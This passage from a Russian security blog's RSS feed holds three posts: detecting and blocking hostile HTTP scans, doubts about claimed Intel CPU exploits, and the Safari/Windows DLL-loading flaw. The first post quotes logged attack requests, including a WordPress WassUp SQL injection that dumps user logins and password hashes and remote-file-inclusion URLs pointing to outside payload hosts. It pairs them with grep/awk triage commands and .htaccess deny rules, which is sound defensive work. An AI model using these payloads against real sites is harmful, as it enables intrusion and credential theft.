<p>Так как я <em>знаю</em>, что у меня на сервере подобных файлов нет и быть не могло, я понимаю, что здесь что-то нечисто: ovsswr.dll&nbsp;&mdash;&nbsp;это <a href="http://blog.sjinks.pro/tag/microsoft/" class="st_tag internal_tag" rel="tag" title="Posts tagged with Microsoft">Microsoft</a> SharePoint Team Services; на подобный скан есть две точки зрения:</p>
<ol>
<li>
<blockquote>It is an attempt to gain admin rights (hack).</blockquote>
</li>
<li>
<blockquote>You're being visited by a user who has installed <a href="http://blog.sjinks.pro/tag/microsoft/" class="st_tag internal_tag" rel="tag" title="Posts tagged with Microsoft">Microsoft</a> Office and Internet Explorer, and who has enabled the "Discuss" toolbar in his browser. When that toolbar is enabled, the browser will automatically query for these two files when visiting each site, to determine whether the Office Server Extensions are installed.
<p>If you are on a Windows server, you can install Office Server Extensions (available in Office 2000) and then the /MSOffice/cltreq.asp path will contain a valid file, allowing visitors to discuss content. Wouldn't that be neat?</p></blockquote>
</li>
</ol>
<p>У каждого свой уровень паранойи (<q>my paranoia is probably worse</q>), так что смотрите сами.</p>
<p>Идём дальше. Зачастую хакеры (или скрипт-киддисы) сканируют сайты на наличие известных дыр, таких как SQL injection. Например, запрос</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p36158">
        <div class="code output" id="p361code58">
/wp-content/plugins/wassup/spy.php?to_date=-1%20group%20by%20id%20union%20select%20null,null,null,concat(0x7c,user_login,0x7c,user_pass,0x7c),null,null,null,null,null,null,null,null%20%20from%20wp_users\r
        </div>
    </div>
</div>

<p>пытается использовать уязвимость плагина <a href="http://blog.sjinks.pro/?s=Wassup">WassUp</a>; в случае успеха он выдаст атакующему логины и хэш паролей пользователей.</p>
<p>Частыми гостями в логе <a href="http://blog.sjinks.pro/?s=nginx">nginx</a> являются запросы вида</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p36159">
        <div class="code apache_log" id="p361code59">
208.205.78.151 - - [20/Sep/2008:11:56:51 +0300] &quot;GET http://www.intel.com/ HTTP/1.1&quot; 403 529 &quot;-&quot; &quot;Mozilla/4.0 (compatible; MSIE 4.01; Windows 95)&quot;
        </div>
    </div>
</div>

<p>Запросы рассчитаны на ошибки в реализациях прокси-серверов.</p>
<p>Теперь переходим к вопросам анализа и противодействия.</p>
<p>Если Ваша хостинговая компания предоставляет вам доступ к логам Апача, Вы можете попытаться обнаружить попытки сканирования самостоятельно: для этого Вам надо найти все запросы, на которые сервер вернул код ошибки 404:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p36160">
        <div class="code bash" id="p361code60">
<span class="kw2">grep</span> <span class="re5">-E</span> <span class="st_h">'HTTP/1\.[01]&quot; 404 '</span> apache-log.txt <span class="sy0">&gt;</span> 404.txt
        </div>
    </div>
</div>

<p>Если на сайте есть битые ссылки, то в логе будет много мусора. Его можно отфильтровать при помощи <span class="codebox"><code class="bash"><span class="kw2">grep</span> <span class="re5">-v</span></code></span>, я не буду на этом подробно останавливаться.</p>
<p>Для определения IP-адресов и количества полученных ответов 404 можно воспользоваться такой командой:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p36161">
        <div class="code bash" id="p361code61">
<span class="kw2">cat</span> 404.txt <span class="sy0">|</span> <span class="kw2">awk</span> <span class="st_h">'{ print $1 }'</span> <span class="sy0">|</span> <span class="kw2">sort</span> <span class="sy0">|</span> <span class="kw2">uniq</span> <span class="re5">-c</span> <span class="sy0">|</span> <span class="kw2">sort</span> <span class="re5">-n</span>
        </div>
    </div>
</div>

<p>Если на IP-адрес приходится небольшое число ответов 404, такие адреса можно, скорее всего игнорировать. Допустим, если нам интересны только IP-адреса, сгенерировавшие не менее ста ответов 404, нам поможет такая команда (<a href="http://blog.sjinks.pro/tag/linux/" class="st_tag internal_tag" rel="tag" title="Posts tagged with Linux">Linux</a> rules, однозначно):</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p36162">
        <div class="code bash" id="p361code62">
<span class="kw2">cat</span> 404.txt <span class="sy0">|</span> <span class="kw2">awk</span> <span class="st_h">'{ print $1 }'</span> <span class="sy0">|</span> <span class="kw2">sort</span> <span class="sy0">|</span> <span class="kw2">uniq</span> <span class="re5">-c</span> <span class="sy0">|</span> <span class="kw2">sort</span> <span class="re5">-n</span> <span class="sy0">|</span> <span class="kw2">awk</span> <span class="st_h">'{ if ($1 &gt; 100) { system(&quot;cat 404.txt | grep &quot; $2 &quot; &gt;&gt; filtered.txt&quot;); } }'</span>
        </div>
    </div>
</div>

<p>Файл <code>filtered.txt</code> будет содержать интересующие нас запросы.</p>
<p>Проанализировав <em>свой</em> файл, я пришел к следующим результатам:</p>
<ul>
<li>практически все запросы (query string), ориентированные на попытку выполнения удалённого (remote) скрипта, содержат в себе как минимум один лишний знак вопроса, например:
<pre class="code">
//?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt<strong style="color: red">?</strong>
/sub.php?sub=http://61.19.234.26/test.txt<strong style="color: red">???</strong>
/admin.php?include_path=http://zionuccarendtsville.org/plugins/spamx/language/COPYRIGHT.txt<strong style="color: red">??</strong>
</pre>
Первый знак вопроса означает начало строки запроса, а вот последний знак вопроса по всем правилам должен записываться как <code>%3F</code>. Я не знаю, зачем люди так сделали, но это отличная сигнатура для поиска;</li>
<li>запросы, ищущие уязвимости в реализации прокси, имеют вид <code>GET http://...</code> или <code>GET /http://...</code>. Тоже достаточно просто отловить.</li>
<li>из-за какого-то бага в реализации сканера, во многих запросах встречается удвоенный (а иногда даже утроенный) слэш:
<pre class="code">
203.177.42.133 - - [22/Jul/2008:10:21:16 +0300] "GET /sitemap.xml<strong style="color: red">///</strong>safehtml/safehtml.php?dir[plugins]=http://www.brazebo.it/echo.txt???? HTTP/1.1"
86.109.96.134 - - [02/Aug/2008:23:53:53 +0300] "GET /sitemap.xml<strong style="color: red">//</strong>wp-pass.php?_wp_http_referer=http://www.sv-haslach.com/modules/.../sistem.txt??? HTTP/1.1"
</pre>
Удвоенный еще куда ни шло, но утроенный&nbsp;&mdash;&nbsp;это перебор;</li>
<li>у 85% процентов сканеров User-Agent установлен в libwww-perl (ибо <a href="http://blog.sjinks.pro/uncategorized/298-power-and-beauty-of-perl/">Perl&nbsp;&mdash;&nbsp;истинно хакерский язык</a>);</li>
<li>сканеры, использующие уязвимости для обходафайловой системы, имеют в теле запроса сигнатуры <code>../</code> (<a href="http://blog.sjinks.pro/tag/linux/" class="st_tag internal_tag" rel="tag" title="Posts tagged with Linux">Linux</a>/Windows) и/или <code>..\</code> (Windows). Тоже легко ловится;</li>
<li>как правило, большинство сканеров начинают обход с корня сайта: поиск уязвимостей производится методом проб и ошибок: вернул сервер 404? Ладно, пробуем следующий файл. Если же сервер для корня возвращает 403 Forbidden, сканеры обычно прекращают попытки (исключение составляют те сканеры, которые предварительно обходят весь сайт).</li>
</ul>
<p>Проблема заключается в том, что если сканер начал искать уязвимости, то рано или позно он их <em>может</em> найти. А это именно то, что мы хотим избежать.</p>
<p>А теперь, собственно, решение. Открываем файл .htaccess и добавляем в него строки (желательно в самое начало):</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p36163">
        <div class="code apache" id="p361code63">
&lt;<span class="kw3">IfModule</span> mod_rewrite.c&gt;<br />
<span class="kw1">RewriteEngine</span> <span class="kw2">On</span><br />
<br />
<span class="kw1">RewriteCond</span> %{QUERY_STRING} [^?]*\? [OR]<br />
<span class="kw1">RewriteCond</span> %{QUERY_STRING} (\.\./|\.\.\\) [OR]<br />
<span class="kw1">RewriteCond</span> %{QUERY_STRING} (///) [OR]<br />
<span class="kw1">RewriteCond</span> %{THE_REQUEST} <span class="st0">&quot;^(GET|POST) /?https?:&quot;</span><br />
<span class="kw1">RewriteRule</span> (.*) $1 [F]<br />
&lt;/<span class="kw3">IfModule</span>&gt;
        </div>
    </div>
</div>

<p>Первый <span class="codebox"><code class="apache"><span class="kw1">RewriteCond</span></code></span> рассчитан на ботов, которые используют слишком много знаков вопроса, второй&nbsp;&mdash;&nbsp;на тех, кто пытается сделать обход файловой системы, третий&nbsp;&mdash;&nbsp;на тех, кто перебарщивает со слэшами и четвёртый&nbsp;&mdash;&nbsp;на тех, кто пытается найти уязвимый прокси.</p>
<p>Данное решение не является панацеей, но, тем не менее, довольно действенное.</p>
<p>Есть одно очень радикальное средство: запретить доступ всем <code>libwww-perl</code>:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p36164">
        <div class="code apache" id="p361code64">
<span class="kw1">SetEnvIf</span> User-Agent <span class="st0">&quot;^libwww-perl&quot;</span> badua<br />
<span class="kw1">Order</span> <span class="kw1">Allow</span>,<span class="kw1">Deny</span><br />
<span class="kw1">Allow</span> from <span class="kw2">all</span><br />
<span class="kw1">Deny</span> from env=badua
        </div>
    </div>
</div>

<p><strong>Update:</strong> <a href="http://perishablepress.com/press/2009/02/03/eight-ways-to-blacklist-with-apaches-mod_rewrite/">весьма полезная статья</a>, о том, как блокировать нежелательных посетителей при помощи mod_rewrite.</p>
<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/security/361-minimizing-consequences-of-http-scans/">источник</a> <strong>обязательно</strong>.</p>
	<h4>Связанные записи</h4>
	<ul class="st-related-posts">
	<li><a href="http://blog.sjinks.pro/security/233-vodka-with-phenazepam-or-truth/" title="Водка с феназепамом? Или всё-таки правда? (Июль 16, 2008)">Водка с феназепамом? Или всё-таки правда?</a> (21)</li>
	<li><a href="http://blog.sjinks.pro/security/9-security-they-talk-so-much-about/" title="Безопасность, о которой все так много говорят… (Март 11, 2008)">Безопасность, о которой все так много говорят…</a> (12)</li>
	<li><a href="http://blog.sjinks.pro/security/563-vulnerability-in-simple-machines-forum/" title="Уязвимость в форуме SMF (Май 23, 2009)">Уязвимость в форуме SMF</a> (2)</li>
	<li><a href="http://blog.sjinks.pro/security/83-vulnerabilities-on-odesk/" title="Уязвимости oDesk (Апрель 10, 2008)">Уязвимости oDesk</a> (2)</li>
	<li><a href="http://blog.sjinks.pro/php/667-simple-dos-for-php/" title="Простой DoS для PHP (Октябрь 19, 2009)">Простой DoS для PHP</a> (3)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/361-minimizing-consequences-of-http-scans/feed/</wfw:commentRss>
		<slash:comments>24</slash:comments>
		</item>
		<item>
		<title>Водка с феназепамом? Или всё-таки правда?</title>
		<link>http://blog.sjinks.pro/security/233-vodka-with-phenazepam-or-truth/</link>
		<comments>http://blog.sjinks.pro/security/233-vodka-with-phenazepam-or-truth/#comments</comments>
		<pubDate>Wed, 16 Jul 2008 18:55:54 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[intel]]></category>
		<category><![CDATA[атака]]></category>
		<category><![CDATA[безопасность]]></category>
		<category><![CDATA[ошибка]]></category>
		<category><![CDATA[уязвимость]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=233</guid>
		<description><![CDATA[Прав ли Крис Касперски? Наткнулся сегодня на очень интересную статью: Российский хакер, известный как Крис Касперски, обнаружил уязвимость в процессорах Intel, которая позволяет совершить удаленный взлом системы при помощи скрипта на JavaScript или TCP/IP-пакета вне зависимости от операционной системы. Об этом пишет PC World со ссылкой на краткое описание презентации, подготовленной Касперски. Хакер намерен в [...]<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/security/233-vodka-with-phenazepam-or-truth/">источник</a> <strong>обязательно</strong>.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Прав ли Крис Касперски?</em></h2>
<p>Наткнулся сегодня на очень интересную <a href="http://lenta.ru/news/2008/07/15/kris/" rel="nofollow">статью</a>:</p>
<blockquote cite="http://lenta.ru/news/2008/07/15/kris/">
Российский хакер, известный как Крис Касперски, обнаружил уязвимость в процессорах Intel, которая позволяет совершить удаленный взлом системы при помощи скрипта на JavaScript или TCP/IP-пакета вне зависимости от операционной системы. Об этом пишет PC World со ссылкой на краткое описание презентации, подготовленной Касперски.
<p>Хакер намерен в октябре продемонстрировать свою методику на конференции Hack In The Box в малайзийском Куала-Лумпуре. Касперски заявил, что намерен показать работающий код и сделать его общедоступным. Он добавил, что ошибки в микропроцессорах становятся все более серьезной угрозой, так как уже пишутся использующие их зловредные программы.</p>
<p>По словам хакера, некоторые ошибки процессоров позволяют просто обрушить систему, другие помогают злоумышленнику получить доступ на уровне ядра ОС, а использование третьих отключает защиту Vista.</p>
<p>Крис Касперски продемонстрирует свою методику взлома на компьютерах с Windows XP, Vista, Windows Server 2003, Windows Server 2008, ОС на базе ядра <a href="http://blog.sjinks.pro/tag/linux/" class="st_tag internal_tag" rel="tag" title="Posts tagged with Linux">Linux</a> и BSD. Возможно, также добавится Mac. На все эти системы будут установлены последние обновления.
</p></blockquote>
<p>Всё же интересно: правда ли это? Или доблестные щелкопёры всё приукрасили?</p>
<p>В <a href="http://conference.hackinthebox.org/hitbsecconf2008kl/?page_id=214" rel="nofollow">оригинале статьи</a> сказано:</p>
<blockquote cite="http://conference.hackinthebox.org/hitbsecconf2008kl/?page_id=214">In this presentation, I will share with the participants the finding of my CPU malware detection research which was funded by Endeavor Security. I will also present to the participants my improved POC code and will show participants how it’s possible to make an attack via JavaScript code or just TCP/IP packets storms against Intel based machine. Some of the bugs that will be shown are exploitable via common instruction sequences and by knowing the mechanics behind certain JIT Java-compilers, attackers can force the compiler to do what they want (for example: short nested loops lead to system crashes on many CPUs). I will also share with the participants my experience in data recovery and how CPU bugs have actually contributed in damaging our hard drives without our knowledge.</blockquote>
<p>И я вот не могу отделаться от подозрения, что всё это розыгрыш: начать уж с того, что Java != JavaScript, и не факт, что любой движок для JavaScript будет компилировать JavaScript в родной код процессора. И я не уверен, что процессор может напрямую повредить жесткий диск (разве что он будет скармливать контроллеру соответствующие команды). Обработкой TCP/IP-пакетов процессор напрямую вообще не занимается (если только я что-то не пропустил).</p>
<p>Очень подозреваю, что выяснится десяток жутко специальных требований, необходимых для успешной реализации данной уязвимости.</p>
<p>Но всё-таки, вдруг это не самореклама и Крис прав?</p>
<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/security/233-vodka-with-phenazepam-or-truth/">источник</a> <strong>обязательно</strong>.</p>
	<h4>Связанные записи</h4>
	<ul class="st-related-posts">
	<li><a href="http://blog.sjinks.pro/php/667-simple-dos-for-php/" title="Простой DoS для PHP (Октябрь 19, 2009)">Простой DoS для PHP</a> (3)</li>
	<li><a href="http://blog.sjinks.pro/security/361-minimizing-consequences-of-http-scans/" title="Минимизируем неприятные последствия HTTP-сканирования (Ноябрь 19, 2008)">Минимизируем неприятные последствия HTTP-сканирования</a> (24)</li>
	<li><a href="http://blog.sjinks.pro/security/9-security-they-talk-so-much-about/" title="Безопасность, о которой все так много говорят… (Март 11, 2008)">Безопасность, о которой все так много говорят…</a> (12)</li>
	<li><a href="http://blog.sjinks.pro/security/563-vulnerability-in-simple-machines-forum/" title="Уязвимость в форуме SMF (Май 23, 2009)">Уязвимость в форуме SMF</a> (2)</li>
	<li><a href="http://blog.sjinks.pro/security/83-vulnerabilities-on-odesk/" title="Уязвимости oDesk (Апрель 10, 2008)">Уязвимости oDesk</a> (2)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/233-vodka-with-phenazepam-or-truth/feed/</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
		<item>
		<title>Доказана критичность уязвимости в Safari для Windows</title>
		<link>http://blog.sjinks.pro/security/196-vulnerability-in-safari-for-windows-proves-critical/</link>
		<comments>http://blog.sjinks.pro/security/196-vulnerability-in-safari-for-windows-proves-critical/#comments</comments>
		<pubDate>Sat, 14 Jun 2008 21:12:43 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Windows]]></category>
		<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Safari]]></category>
		<category><![CDATA[безопасность]]></category>
		<category><![CDATA[уязвимость]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=196</guid>
		<description><![CDATA[Insecure By Design, или, Не там уязвимости ищите, товарищи! Всё-таки как можно переставить всё с ног на голову&#8230; Прочитал сегодня статью на CNews.com; она небольшая, привожу полностью: Исследователь безопасности разработал сайт, наглядно демонстрирующий риск, с которым сталкиваются пользователи Windows при использовании браузера Safari от Apple. ИБ-команда Microsoft уже предупредила, что «смешанная угроза» настолько серьезна, что [...]<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/security/196-vulnerability-in-safari-for-windows-proves-critical/">источник</a> <strong>обязательно</strong>.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Insecure By Design, или, Не там уязвимости ищите, товарищи!</em></h2>
<p>Всё-таки как можно переставить всё с ног на голову&hellip; Прочитал сегодня <a href="http://www.cnews.ru/news/line/index.shtml?2008/06/10/304593" rel="nofollow">статью</a> на CNews.com; она небольшая, привожу полностью:</p>
<blockquote cite="http://www.cnews.ru/news/line/index.shtml?2008/06/10/304593">
Исследователь безопасности разработал сайт, наглядно демонстрирующий риск, с которым сталкиваются пользователи Windows при использовании браузера <a href="http://blog.sjinks.pro/tag/safari/" class="st_tag internal_tag" rel="tag" title="Posts tagged with Safari">Safari</a> от Apple.
<p>ИБ-команда <a href="http://blog.sjinks.pro/tag/microsoft/" class="st_tag internal_tag" rel="tag" title="Posts tagged with Microsoft">Microsoft</a> уже предупредила, что <strong>«смешанная угроза» настолько серьезна, что пользователям Windows следует ограничить использование <a href="http://blog.sjinks.pro/tag/safari/" class="st_tag internal_tag" rel="tag" title="Posts tagged with Safari">Safari</a> до тех пор, пока не выйдет патч</strong>. В своем блоге исследователь <cite>Лю Ди Ю</cite> (<cite>Liu Die Yu</cite>) показал, что это предупреждение не было преувеличением.</p>
<p>При клике по указанной исследователем ссылке в <a href="http://blog.sjinks.pro/tag/safari/" class="st_tag internal_tag" rel="tag" title="Posts tagged with Safari">Safari</a> с настройками по умолчанию на рабочий стол пользователя Windows загружается файл-ловушка. В следующий раз, когда пользователь открывает <strong>Internet Explorer</strong>, файл автоматически запускает <code>notepad.exe</code> и открывает несуществующий файл. <q>Разумеется, злоумышленники могут найти менее безобидное применение данной уязвимости</q>, пишет <cite>The Register</cite>.</p>
<p>По словам Apple, уязвимость не является критической. Эта демонстрация свидетельствует об обратном.
</p></blockquote>
<p><span id="more-196"></span></p>
<p>Вопросы, возникающие при прочтении:</p>
<ol>
<li><strong>Если уязвим <a href="http://blog.sjinks.pro/tag/safari/" class="st_tag internal_tag" rel="tag" title="Posts tagged with Safari">Safari</a>, почему нужно запускать Internet Explorer?</strong> На мой взгляд, найденная "смешанная уязвимость" свидетельствует о том, что ограничить нужно как раз-таки использование Ишака, пока Micro$oft не выпустит патч.</li>
<li>Фраза "следует ограничить использование <a href="http://blog.sjinks.pro/tag/safari/" class="st_tag internal_tag" rel="tag" title="Posts tagged with Safari">Safari</a> до тех пор, пока не выйдет патч"&nbsp;&mdash;&nbsp;это свидетельство <em>нечестной</em> борьбы&nbsp;&mdash;&nbsp;более честным было бы выложить описание как изменить настройки <a href="http://blog.sjinks.pro/tag/safari/" class="st_tag internal_tag" rel="tag" title="Posts tagged with Safari">Safari</a>, чтобы не подвергать риску уязвимости Windows.</li>
</ol>
<p>Озвучив для себя эти вопросы, я решил найти <a href="http://liudieyu0.blog124.fc2.com/blog-entry-1.html">оригинал статьи</a>, благо это было нетрудно.</p>
<p>Две фразы, которые мне очень понравились:</p>
<ol>
<li><q><a href="http://blog.sjinks.pro/tag/microsoft/" class="st_tag internal_tag" rel="tag" title="Posts tagged with Microsoft">Microsoft</a> used some vague wording in the <a href="http://www.microsoft.com/technet/security/advisory/953818.mspx" rel="nofollow">advisory</a>: "Suggested Actions" are "Restrict use of <a href="http://blog.sjinks.pro/tag/safari/" class="st_tag internal_tag" rel="tag" title="Posts tagged with Safari">Safari</a> as a web browser&hellip;", <em>as if it's a flaw rooted in <a href="http://blog.sjinks.pro/tag/safari/" class="st_tag internal_tag" rel="tag" title="Posts tagged with Safari">Safari</a></em>.</q></li>
<li>
<blockquote>In sub-folder of "Suggested Actions" <a href="http://blog.sjinks.pro/tag/microsoft/" class="st_tag internal_tag" rel="tag" title="Posts tagged with Microsoft">Microsoft</a> admits "Workarounds" as <q>Change the download location of content in <a href="http://blog.sjinks.pro/tag/safari/" class="st_tag internal_tag" rel="tag" title="Posts tagged with Safari">Safari</a> to a newly created directory</q>. The <em>full statement</em> should be <em>"Change the download location of content in <a href="http://blog.sjinks.pro/tag/safari/" class="st_tag internal_tag" rel="tag" title="Posts tagged with Safari">Safari</a> to a newly created directory(to save the integrity of Windows Internet Explorer)"</em>.<br />
</blockquote>
</li>
</ol>
<p>Причем, судя по всему, фраза "Change the download location of content in <a href="http://blog.sjinks.pro/tag/safari/" class="st_tag internal_tag" rel="tag" title="Posts tagged with Safari">Safari</a>" появилась только 6 июня (то есть почти через неделю после того, как статья была опубликована на сайте <a href="http://blog.sjinks.pro/tag/microsoft/" class="st_tag internal_tag" rel="tag" title="Posts tagged with Microsoft">Microsoft</a>).</p>
<p>Теперь несколько слов об уязвимости. Права ли <a href="http://blog.sjinks.pro/tag/microsoft/" class="st_tag internal_tag" rel="tag" title="Posts tagged with Microsoft">Microsoft</a>, обвиняя <a href="http://blog.sjinks.pro/tag/safari/" class="st_tag internal_tag" rel="tag" title="Posts tagged with Safari">Safari</a> в уязвимости? Я согласен, загрузка файла без разрешения пользователя&nbsp;&mdash;&nbsp;это не хорошо. Но что заставляет Internet Explorer открывать этот файл? Ответ прост: Windows. То есть уязвимость здесь в <em>ядре Windows</em>, даже не в Internet Explorer. Объясню почему. В своём тестовом примере Liu Die Yu показывает, что в том, что Internet Explorer запускает Блокнот, "виновато" имя файла, который <a href="http://blog.sjinks.pro/tag/safari/" class="st_tag internal_tag" rel="tag" title="Posts tagged with Safari">Safari</a> сохраняет&nbsp;&mdash;&nbsp;<code>schannel.dll</code> (также сработают <code>sqmapi.dll</code> и <code>imageres.dll</code>).</p>
<p>Причина уязвимости здесь заключается в <em>порядке поиска динамических библиотек</em> (кому интересны все технические подробности&nbsp;&mdash;&nbsp;читайте MSDN про функции <code>LoadLibrary</code> и <code>LoadLibraryEx</code>). Идея состоит в том, что <code>LoadLibrary</code> ищет загружаемую библиотеку в <em>рабочем каталоге</em> (перед тем, как искать ее в системном каталоге). При запуске Ишака с Рабочего стола рабочим каталогом является Рабочий стол (вполне логично). Далее IE загружает библиотеки, дело доходит до <code>schannel.dll</code>. Благодаря стараниям <a href="http://blog.sjinks.pro/tag/safari/" class="st_tag internal_tag" rel="tag" title="Posts tagged with Safari">Safari</a>, на Рабочем столе файл с таким именем имеется; в результате Windows загружает именно его. А он выполняет своё "черное дело".</p>
<p>В итоге получаем, что в ядро Windows эта уязвимость была встроена изначально&nbsp;&mdash;&nbsp;что называется, "уязвимость по дизайну". Я бы на месте Некрософт не баги бы в <a href="http://blog.sjinks.pro/tag/safari/" class="st_tag internal_tag" rel="tag" title="Posts tagged with Safari">Safari</a> искал (хотя молодцы, ничего не скажешь: обставили уязвимость в ядре так, что виноват оказался другой продукт), а свои собственные ошибки исправлял <img src='http://static.sjinks.info/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>По сути дела, "уязвимой" может оказаться любая программа, которая положит что-нибудь на Рабочий стол. Кстати, и FireFox можно обвинить в "уязвимости", даже если он спросит пользователя о сохранении файла: многие пользователи очень доверчивы (к сожалению), и сохранят файл, если их попросят. А так как, по словам <a href="http://blog.sjinks.pro/tag/microsoft/" class="st_tag internal_tag" rel="tag" title="Posts tagged with Microsoft">Microsoft</a>, большинство пользователей оставляют настройки по умолчанию, то файл попадет на Рабочий стол.</p>
<p>Так что, господа <a href="http://blog.sjinks.pro/tag/microsoft/" class="st_tag internal_tag" rel="tag" title="Posts tagged with Microsoft">Microsoft</a>'овцы, исправляйте вы лучше свои ошибки, а не обвиняйте в них сторонние программы <img src='http://static.sjinks.info/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /></p>
<hr/>
<p>© 2008–2010 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>

<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a
href="http://blog.sjinks.pro/security/196-vulnerability-in-safari-for-windows-proves-critical/">источник</a> <strong>обязательно</strong>.</p>
	<h4>Связанные записи</h4>
	<ul class="st-related-posts">
	<li><a href="http://blog.sjinks.pro/security/563-vulnerability-in-simple-machines-forum/" title="Уязвимость в форуме SMF (Май 23, 2009)">Уязвимость в форуме SMF</a> (2)</li>
	<li><a href="http://blog.sjinks.pro/security/83-vulnerabilities-on-odesk/" title="Уязвимости oDesk (Апрель 10, 2008)">Уязвимости oDesk</a> (2)</li>
	<li><a href="http://blog.sjinks.pro/windows/281-five-words-56-mb-length/" title="Пять слов длиной в 56 мегабайт (Июль 30, 2008)">Пять слов длиной в 56 мегабайт</a> (0)</li>
	<li><a href="http://blog.sjinks.pro/php/667-simple-dos-for-php/" title="Простой DoS для PHP (Октябрь 19, 2009)">Простой DoS для PHP</a> (3)</li>
	<li><a href="http://blog.sjinks.pro/administering/320-why-i-dislike-microsoft/" title="Почему я не люблю Microsoft (Август 27, 2008)">Почему я не люблю Microsoft</a> (6)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/196-vulnerability-in-safari-for-windows-proves-critical/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>
